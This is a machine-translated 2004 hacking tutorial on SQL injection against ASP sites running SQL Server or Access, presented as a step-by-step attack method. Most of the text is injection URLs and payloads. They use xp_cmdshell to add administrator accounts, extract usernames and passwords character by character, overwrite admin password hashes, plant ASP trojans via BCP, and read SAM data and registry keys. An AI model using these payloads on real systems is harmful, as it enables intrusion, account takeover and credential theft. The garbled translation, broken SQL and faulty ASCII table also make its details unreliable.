SQL injection method attack a day pass
Topone 2004.08.10
(This article is a large number of similar articles on the Internet, combined with the experience in the process of our own implementation, there are many direct references, no attention, please forgive me
With the development of B / S mode application development, programmers who use this model to write applications have become more and more. However, due to the level and experience of the programmer, a considerable number of programmers do not judge the legality of the user input data when writing code, so that the application has security hazards. Users can submit a database query code, obtain certain data he wants, based on the result returned by the program, which is the so-called SQL INJECTION, that is, SQL injection.
SQL injection is accessed from normal WWW port, and the surface looks with the general web page access, there is no difference in web page access, so the current market firewall will not issue an alert to SQL injection. If the administrator does not view the habit of IIS logs, it may be invaded Will not find out for a long time. However, the technique of SQL injection is quite flexible, and there will be many unexpected situations when injected. Can you analyze and construct a smart SQL statement according to the specific situation, thereby successfully acquired the desired data.
According to statistics, the website uses ASP Access or SQLServer to account for more than 70%, PHP MySQ accounts for L20%, and there are less than 10% of others. In this article, the principles, methods and processes of SQL injection are illustrated in SQL-Server ASP. (PHP Injection Article is written by another friend of the NB Alliance Zwell)
The overall idea of SQL injection attack is:
l Discover the SQL injection position;
l Judging the background database type;
l Determine XP_cmdshell executable situation
l Discover web virtual directory
l Upload ASP Trojan;
l Get administrator privileges;
First, the judgment of SQL injection vulnerability
In general, SQL injection is generally existing in the ASP dynamic web page with parameters such as: http: //xxx.xxx.xxx/abc.asp? Id = XX, sometimes there is only one parameter in a dynamic web page, sometimes There may be n parameters, sometimes integer, sometimes string parameters, and cannot be generalized. In short, as long as it is a dynamic web page with parameters and this page accesses the database, it is possible to have SQL injection. If the ASP programmer does not have a safety awareness, there is no possibility of SQL injection without the necessary character filtration.
In order to fully understand the information of the dynamic web page answer, please adjust the configuration of the IE. Put the IE-Tool -Internet option - Advanced - Show the Hook out in front of the friendly HTTP error message.
In order to clear the problem, the following is analyzed as an example with http://xx.xxx.xxx/abc.asp?p =yy, yy may be integer, or it is possible to be a string.
1, judgment of integer parameters
When the input parameter yy is integer, usually the SQL statement in ABC.ASP is approximately as follows:
SELECT * FROM table name where field = yy, so you can test whether SQL injection exists with the following steps.
1Http: //xxx.xxx.xxx/abc.asp? P = yy '(additional single quotes), at this time, the SQL statement in ABC.ASP becomes
SELECT * FROM table name where field = yy ', ABC.ASP operation is exception;
2http: //xxx.xxx.xxx/abc.asp? P = yy and 1 = 1, ABC.ASP is running normally, and is the same as http://xx.xxx.xxx/abc.asp?p=yy ; 3http: //xxx.xxx.xxx/abc.asp? P = yy and 1 = 2, ABC.ASP operation is abnormal;
If the above three steps are fully met, there must be a SQL injection vulnerability in ABC.ASP.
2, judgment of string type parameters
When the input parameter yy is a string, the original appearance of the SQL statement in ABC.ASP is generally as follows:
SELECT * FROM table name where field = 'yy', so you can use the following steps to test whether SQL injection exists.
1Http: //xxx.xxx.xxx/abc.asp? P = yy '(additional single quotes), at this time, the SQL statement in ABC.ASP becomes
SELECT * FROM table name where field = yy ', ABC.ASP operation is exception;
2http: //xxx.xxx.xxx/abc.asp? P = yy and '1' = '1', ABC.ASP is running normally, and with http://xxx.xxx.xxx/abc.asp?p= YY runs the same;
3http: //xxx.xxx.xxx/abc.asp? P = yy and '1' = '2', ABC.ASP operation is abnormal;
If the above three steps are fully met, there must be a SQL injection vulnerability in ABC.ASP.
3. Treatment of special circumstances
Sometimes the ASP programmer will filter out characters such as single quotes in the programmer to prevent SQL injection. At this point you can try it with the following methods.
1 Calculation: Since the VBS is not case sensitive, the programmer is usually all filtering the uppercase string when filtering, or all of the lowercase strings are filtered, and the case in cases often be ignored. If you use Select, you will replace SELECT, SELECT, etc .;
2Unicode method: In IIS, internationalization is achieved in Unicode character set, we can fully entered into the Unicode string in IE. Such as =% 2b, space =% 20, etc .; Urlencode information see Annex I;
3ASCII code method: You can replace the input part or all characters to use the ASCII code, such as u = chr (85), a = chr (97), etc., asCII information see Annex II;
Second, distinguish between database server types
In general, Access and SQL-Server are the most commonly used database server, although they all support T-SQL standards, but there are differences, and different databases have different attack methods, they must be taken.
1. Dividing the system variables using the database server
SQL-Server has system variables such as USER, DB_NAME (), but also uses these system values not only to determine SQL-Server, but also available useful information. Such as:
1 http://xxx.xxx.xxx/abc.asp?p=yy and user> 0 not only determines whether it is SQL-Server, but also get the username currently connected to the database
2http: //xxx.xxx.xxx/abc.asp? P = yy and db_name ()> 0 Not only can it be determined whether it is SQL-Server, but also gets the currently used database name;
2, use system table
Access system table is MsysObjects, and there is no access in the web environment, while SQL-Server system tables are sysObjects, accessible accessed in the Web environment. For the following two statements: 1http: //xxx.xxx.xxx/abc.asp? P = yy and (select count (*) from sysobject> 0
2http: //xxx.xxx.xxx/abc.asp? P = yy and (select count (*) from msysobjects> 0
If the database is SQL-Serve, first, ABC.ASP must run normal, and the second will abnormally; if it is access, two will exceed.
3, MSSQL three key system tables
SYSDATABASES system table: Each database on Microsoft SQL Server is occupied in the table. When SQL Server is initially installed, sysdatabases contains items of Master, Model, MSDB, MSSQLWeb, and Tempdb databases. This table is only stored in the Master database. This table is saved in the Master database, what information is saved in this table? This is very important. He is saved all the library names, as well as the id and some related information.
Here I will list it for everyone for the field name and related instructions we use. Name // indicates the name of the library.
DBID / / indicates the ID of the library, DBID from 1 to 5 is system. The five libraries of Master, Model, MSDB, MSSQLWeb, Tempdb are respectively, respectively. Use select * from master.dbo.sysdatabases to check all the library names.
SysObjects: In each database of SQL-Server, there is this system table that stores all objects created within the database, such as constraints, defaults, logs, rules, stored procedures, etc., each object occupies a line in the table. The following is the field name and related instructions for this system table.
Name, ID, Xtype, Uid, Status: The object name, object ID, object type, user ID, object status of the owner object.
Object Type (XTYPE). It can be one of the following object types:
C = Check constraint
D = default or default constraint
F = foreign key constraint
L = log
Fn = scalar function
IF = embedded table function
P = stored procedure
PK = primary key constraint (type K)
RF = Copy Filter Store
S = system table
TF = Table function
Tr = trigger
U = user table
UQ = UNIQUE constraint (type K)
V = view
X = extended stored procedure
When Xtype = 'u' and status> 0 represents a table established by the user, the object name is a table name, the object ID is the ID value of the table.
Use: select * from chouyfd.dbo.sysObjects where xtype = 'u' and status> 0 You can list the table names established in the library chouyfd.
Syscolumns: Each of the tables and views occupies a row in the table, and each parameter in the stored procedure also occupies a row in the table. This table is in each database. The main fields are:
Name, ID, Colid: The field name, Table ID number, field ID number, the ID is the ID number that just gets the table you get with sysObjects. Use: Select * from chouyfd.dbo.syscolumns where id = 123456789 Get Chouyfd this library, the ID is a list of all fields in 123456789.
Third, determine XP_cmdshell executable
If the account of the current connection data has SA permissions, and the master.dbo.xp_cmdshell extension stored procedure (call this stored procedure can directly use the operating system's shell) to perform correctly, the entire computer can be fully controlled by the following methods, later All steps can save
1, http: //xxx.xxx.xxx/abc.asp? P = yy and user> 0 ABC.ASP performs exception but you can get the username of the current connection database (if DBO is displayed, SA).
2, http://xxx.xxx.xxx/abc.asp? P = yy and db_name ()> 0 ABC.ASP performs exception but you can get the currently connected database name.
3, http://xxx.xxx.xxx/abc.asp? P = yy; exec master..xp_cmdshell "net user aaa bbb / add" - (Master is the primary database of SQL-Server; semicolon in the name Indicates that SQL-Server performs the statement name before the total number of divisions, continues to execute the following statement; "-" is an annotation, indicating that all the content behind it is only a comment, and the system does not execute) can directly increase the operating system account AAA, The password is BBB.
4, http://xxx.xxx.xxx/abc.asp? P = yy; exec master..xp_cmdshell "net localgroup administrators aaa / add" - adds the original account AAA to the Administrators group.
5, http://xxx.xxx.xxx/abc.asp? P = yy; backuup Database database name to disk = 'c: /inetpub/wwroot/save.db', back up the resulting data content to the web directory Next, use HTTP to download this file (of course, the preferred choice should know the web virtual directory).
6, create Unicode vulnerabilities by copying CMD
Http://xxx.xxx.xxx/abc.asp?p=yy ;ec master.dbo.xp_cmdshell "Copy C: /Winnt/System32/cmd.exe c: /inetpub/scripts/cmd.exe" is manufactured A Unicode vulnerability, through this vulnerability utilization method, completes control over the entire computer (of course, the preferred choice should know the web virtual directory).
Fourth, discover the web virtual directory
Only by finding the web virtual directory can determine the location of the ASP Trojan, which in turn gets User permissions. There are two ways to be more effective.
First, based on experience, it is generally, the web virtual directory is: c: / inetpub / wwwroot; d: / inetpub / wwwroot; E: / INETPUB / WWWROOT, etc., and executable virtual directory is: C: / inetpub / Scripts; D: / INETPUB / SCRIPTS; E: / INETPUB / SCRIPTS, etc.
The second is to traverse the system's directory structure, analyze the results and discover the web virtual directory;
Create a temporary table first: TEMP
Http://xxx.xxx.xxx/abc.asp?p =y :create Table Temp (ID NVARCHAR (255), NUM2 NVARCHAR (255), NUM3 NVARCHAR (255)); Down:
(1) We can use XP_AVAILAMEDIA to get all current drives and store them in the TEMP table:
Http://xxx.xxx.xxx/abc.asp?p=yy;insert temp exec master.dbo.xp_availablemedia;
We can get the drive list and related information by querying the content of TEMP.
(2) We can use XP_SUBDIRS to get subdirectory lists and store them in the TEMP table:
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID) EXEC MASTER.DBO.XP_SUBDIRS 'C: /'; -
(3) We can also use XP_Dirtree to get the directory tree structure of all subdirectories, and inch into the TEMP table:
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID, NUM1) EXEC MASTER.DBO.XP_DIRTREE 'C: /'; -
This allows you to browse to all directory (folder) list:
If we need to view the contents of a file, you can execute xp_cmdsell:
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID) EXEC MASTER.DBO.XP_CMDSHELL 'TYPE C: /WEB/INDEX.ASP';
Use the 'Bulk INSERT' syntax to insert a text file into a temporary table. Such as: Bulk INSERT TEMP (ID) from 'c: /inetpub/wwwroot/index.asp'
Browse Temp can see the content of the index.asp file! By analyzing a variety of ASP files, you can get a large number of system information, web construction and management information, and even the connection password for the SA account can be obtained.
Of course, if XP_cmshell is executable, we can use it to complete:
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID) EXEC MASTER.DBO.XP_CMDSHELL 'DIR C: /';
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID) EXEC MASTER.DBO.XP_CMDSHELL 'DIR C: / * .ASP / S / A'; -
We can see all what you want to see, including W3SVC via xp_cmdshell.
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID) EXEC MASTER.DBO.XP_CMDSHELL 'CScript C: /inetpub/adminscripts/adsutil.vbs Enum W3SVC'
However, if not SA permissions, we can also use
Http://xxx.xxx.xxx/abc.asp?p=yy;insert INTO TEMP (ID, NUM1) EXEC MASTER.DBO.XP_DIRTREE 'C: /'; -
note:
1, after each of the above browsing, you should delete all the contents in Temp, the delete method is: http: //xxx.xxx.xxx/abc.asp? P = yy; delete from temp;
2. The way to browse the TEMP table is: (Suppose TestDB is the currently connected database name)
Http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 id from testdb.dbo.temp> 0 Get the value of the first record ID field in the table TEMP, and compare with integers Obviously ABC.ASP works exception, but in an abnormality, it can discover the value of the ID field. Suppose the table name of the discovery is XYZ, then
Http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 id from testdb.dbo.temp)> 0 Where id not in ('xyz'))> 0 Get the second table TEMP The value records the value of the ID field.
5. Upload ASP Trojan
The so-called ASP Trojan is an ASP code with special functions, and places it under the Scripts of the web virtual directory, the remote client can perform it, and then get the system's USER rights, and implement preliminary control of the system. Upload ASP Trojans generally have two more effective methods:
1. Using the web's remote management function
Many web sites provide remote management features for maintenance, there are also many Web sites that have different access rights for different users. In order to achieve the control of the user's rights, there is a web page, requiring the username and password, only the correct value is entered, can be used to perform the next operation, can implement the Web management, such as uploading, downloading files, directory browsing, modifying Configuration, etc.
Therefore, if you get the correct username and password, you can upload an ASP Trojan, but sometimes you can directly get the USER rights and browse the system, the previous "Discovery Web Virtual Directory" complex operation can be omitted.
Username and password are typically stored in a table, discovering this table and resolving issues. Two effective methods are given below.
A, injection method:
In theory, there is a type in the certification page.
Select * from admin where username = 'xxx' and password = 'yyy' statement, if you do not perform the necessary character filtration before you officially run this sentence, it is easy to implement SQL injection.
Enter in the user name text box: ABC 'or 1 = 1 - Enter in the password box: 123 SQL statement becomes:
Select * from admin where usrname = 'abc' or 1 = 1 and password = '123' Regardless of the user to enter any username and password, this statement will always be executed correctly, and the user easily deceives the system and obtain legal identity.
B, guessment:
Basic ideas are: guess all database names, guess each table name in the library, the analysis may be the table name of the user name and password, guess each field name in the table, guess each record in the table content.
l Tell all database names
Http://xxx.xxx.xxx/abc.asp?p =yy and (select count (*) from master.dbo.sysdatabasees where name> 1 and dbid = 6) <> 0 Because DBID is from 1 to 5 It is the system. So the user's own built must start from 6. And we submit Name> 1 (Name field is a characteristic field and digital comparison will be wrong), ABC.ASP works exception, you can get the first database name, and change DBID to 7, 8, 9, 10, 11, 12 ... You can get all database names. The following assumptions the obtained database name is TestDB.
l Defeses the name of the user's name table in the database
Guess: This method is to guess the name, generally, User, User, Member, Members, Userlist, Memberlist, Userinfo, Manager, Admin, Admin, Systemuser, Systemusers, Sysuser, Sysusers, Sysaccounts, Systemaccounts, etc. . And judge by statement
Http://xxx.xxx.xxx/abc.asp?p=yy and (select count (*) from testdb.dbo. Table name)> 0 If the table name exists, ABC.ASP works fine, otherwise it will. This is cycled until the name of the system account table is guess.
Reading method: SQL-Server has a table sysObjects that store system core information. All tables, view and other information are all stored in this table, and this table can be accessed via the web.
When Xtype = 'u' and status> 0 represents the table established by the user, find and analyze the tables and names established by each user, you can get the name of the username, the basic implementation method is:
1Http: //xxx.xxx.xxx/abc.asp? P = yy and (select top 1 name from testdb.dbo.sysobjects where xtype = 'u' and status> 0)> 0 get the first user creation table Name, and compare with integers, obviously ABC.ASP works exception, but can find the name of the table in exceptions. Suppose the table name of the discovery is XYZ, then
2http: //xxx.xxx.xxx/abc.asp? P = yy and (select top 1 name from testdb.dbo.sysobjects where xtype = 'u' and status> 0 and name not in ('xyz'))> 0 You can get the name of the table established by the second user, which can get the name of the created table.
According to the name of the table, you can usually determine the table user to store the username and password. The following assumptions this table name is admin.
l Tell the name of the username and password field name
There must be a username field in the admin table, and there must be a password field, and only the name of the two fields is likely to get the content of this two fields. How to get their name, the same method is equally below.
Treatment: This method is based on personal experience guessing the word name. Generally, the name of the username is often used: UserName, Name, User, Account, etc. The name of the password field is common: Password, Pass, PWD, Passwd, etc. And judge by statement
Http://xxx.xxx.xxx/abc.asp?p=yy and (Select Count "from testdb.dbo.admin)> 0" SELECT Count "from the FROM table name" Get the table Number, so if the field name exists, ABC.ASP works fine, otherwise it will. This is cycled until you guess the names of the two fields. Reading method: Basic implementation method is
Http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 col_name (Object_ID ('admin ", 1) from testdb.dbo.sysObjects> 0. SELECT TOP 1 Col_Name (Object_ID ('admin ", 1) from testdb.dbo.sysObjects is the first field name of the known table name from sysObjects, compared with integers, obviously abc.asp work exception, but Once the abnormality can find the name of the field. All field names can be obtained in sections 1, 3, 4, 5, 6 ...
l Tell the username and password
Guess the content of the user name and password is also the most effective way to:
ASCII code typing code decoding method: Although this method is slow, it must be feasible. The basic idea is to guess the length of the field, and then guess the value of each bit. Guess the user name is the same as the guess code. The following is the following to guess the username as an example.
Http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 len (username) from testdb.dbo.admin) = x (x = 1, 2, 3, 4, 5, ... N Username is the name of the username, and the name of the application is the name of the table. When X is a certain value i and the ABC.ASP is running normally, I is the length of the first username. Such as:
Http://xxx.xxx.xxx/abc.asp?p=yy and (select Top 1 Len (username) from testdb.dbo.admin) = 8 When ABC.ASP is running normally, the first username of the first username 8
Http://xxx.xxx.xxx/abc.asp?p=yy and (Substring (Username, M, 1)) from testdb.dbo.admin) = n (M value is 1 to One-step username length, when M = 1, 2, 3, ... speculates that the value of the first, 2, 3, ... position; N is 1 ~ 9, a ~ z, a ~ z The ASCII value, that is, any value between 1 to 128; admin is the name of the system user account table), if n is a certain value i and the ABC.ASP is running normally, i corresponds to the ASCII code is a username. Bit value. Such as:
Http://xxx.xxx.xxx/abc.asp?p=yy and (Substring (username, 3, 1)) from testdb.dbo.admin) = 80 When ABC.ASP is running normally, then The third bit of the user name is P (the ASCII of P);
Http://xxx.xxx.xxx/abc.asp?p=yy and (Substring (username, 9, 1)) from testdb.dbo.admin) = 33 When ABC.ASP runs normally, then The 9th bit of the username is! (! ASCII 80); guessed the first username and password, the same reason, I can guess all other usernames and passwords. Note: Sometimes the password that may be encrypted by MD5, but also needs to be detached with a special tool. Or change your password first, then change it, see below.
Simple method: guess user name
Http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 flag from testdb.dbo.admin where username> 1), Flag is a field in the admin table, username is the username field, At this time, ABC.ASP works exception, but can get the value of username. Similar methods, you can get the second user name, the third user, etc. until all usernames in the table.
Guess user password: http://xxx.xxx.xxx/abc.asp? P = yy and (select top 1 flag from testdb.dbo.admin where pwd> 1), Flag is a field in the admin table, PWD is Password field, at this time, ABC.ASP works exception, but can get the value of the PWD. Similarly to the same method, you can get the password of the second user name, the password of the third user, etc., until the password of all users in the table. The password is sometimes encrypted by MD5 and can be changed.
Http://xxx.xxx.xxx/abc.asp?p=yy;update testdb.dbo.admin set pwd = 'A0B923820DCC509A' Where username = 'www'; - (1 MD5 value is: AaabbbccdDdeeef, ie Password is changed to 1; WWW is known by known usernames)
The same method can of course change the password to the original value.
2, use the table content into file function
SQL has a BCP command that can convert the contents of the table into a text file and put it in a specified location. With this feature, we can build a temporary table first, then enter an ASP Trojan in a row in a row, then export the ASP file with the BCP command.
The command line format is as follows: BCP "Select * from text..foo" Queryout c: /inetpub/wwroot/runcommand.asp -c -s localhost -u sa -p foobar ('s' parameter is the server executing the query,' U 'The parameter is the username,' p 'parameter is a password, and finally uploaded a Runcommand.asp Trojan)
6. Get the system's administrator privileges
ASP Trojans have only user permissions. To get full control of the system, there must be a system administrator privilege. How to do? There are many ways to improve privileges:
Upload Trojans, modify the boot automatically run. Ini file (it is once, it is dead);
Copy cmd.exe to Scripts, people create Unicode vulnerabilities;
Download SAM files, crack and get all username passwords for OS;
Wait, depending on the specific conditions of the system, different methods can be taken.
Seven, several SQL-Server dedicated means
1, using a stored procedure to modify the registry extended xp_regread [xp_regread] Another useful function is a collection of built-in storage procedure xp_regXXXX class (Xp_regaddmultistring, Xp_regdeletekey, Xp_regdeletevalue, Xp_regenumkeys, Xp_regenumvalues, Xp_regread, Xp_regremovemultistring, Xp_regwrite). An attacker can use these functions to modify the registry, such as reading the SAM value, allowing an empty connection, automatic running procedure, etc. Such as:
EXEC XP_REGREAD HKEY_LOCAL_MACHINE, 'System / CurrentControlSet / Services / Lanmanserver / Parameters', 'NullSsShares' determines what session connection is available in the server.
EXEC XP_REGENUMVALUES HKEY_LOCAL_MACHINE, 'System / CurrentControlSet / Services / SNMP / Parameters / ValidCommunities' Display All SNMP community configurations on the server, with this information, the attacker may reconfigure network devices in the same network.
2, use other stored procedures to change the server
The XP_ServiceControl process allows users to start, stop service. Such as:
(Exec master..xp_serviceControl 'Start', 'Schedule'
Exec master..xp_serviceControl 'Start', 'Server')
XP_availableMedia Displays the drive on the machine
XP_dirtree allows a directory tree
XP_enumdsn lists ODBC data sources on the server
XP_LogInConfig Get server security information
XP_makecab allows users to create a compressed file on the server
XP_NTSEC_ENUMDOMAINS lists the domain that the server can enter
XP_TERMINATE_PROCESS Provides the process ID of the process to terminate this process
Annex 1: Urlunicode table (excellent, mainly non-letter characters, RFC1738)
Character Special Character Meaning URL Encoded # Used to mark a specific document location% 23% Coding% 25 & Separation Variates Variable Value to% 26 in the variable value 2b / Representation Directory Path% 2F
/% 5C
= Used to connect keys and value% 3D? Represents the start% 3F of the query string
Space% 20
Jess% 2E
: Calling% 3A
Annex II: ASCII table (excerpt)
Dec Hex Char Dec HEX Char
80 50 P
32 20 (SPACE) 81 51 Q
33 21! 82 52 R
34 22 "83 53 S
35 23 # 84 54 T
36 24 $ 85 55 U37 25% 86 56 V
38 26 & 87 57 W
39 27 '88 58 x
40 28 (89 59 Y
41 29) 90 5A Z
42 2A * 91 5B [
43 2B 92 5C /
44 2C, 93 5D]
45 2D - 94 5E ^
46 2E. 95 5F _
47 2F / 96 60`
48 30 0 97 61 A
49 31 1 98 62 B
50 32 2 99 63 C
51 33 3 100 64 D
52 34 4
53 35 5 101 65 E
54 36 6 102 66 F
55 37 7 103 67 G
56 38 8 104 68 h
57 39 9 105 69 I
58 3A: 106 6A J
59 3B; 107 6B K
60 3C <108 6C L
61 3D = 109 6D M
62 3e> 110 6e N
63 3F? 111 6F O
112 70 P
64 40 @ 113 72 q
65 41 A 114 72 R
66 42 B 115 73 S
67 43 C 116 74 T
68 44 D 117 75 U
69 45 E 118 76 V
70 46 F 119 77 W
71 47 G 120 78 x
72 48 H 121 79 Y
73 49 I 122 7A Z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D}
77 4D M 126 7E ~
78 4e N 127 7F €
79 4f o 128 80 €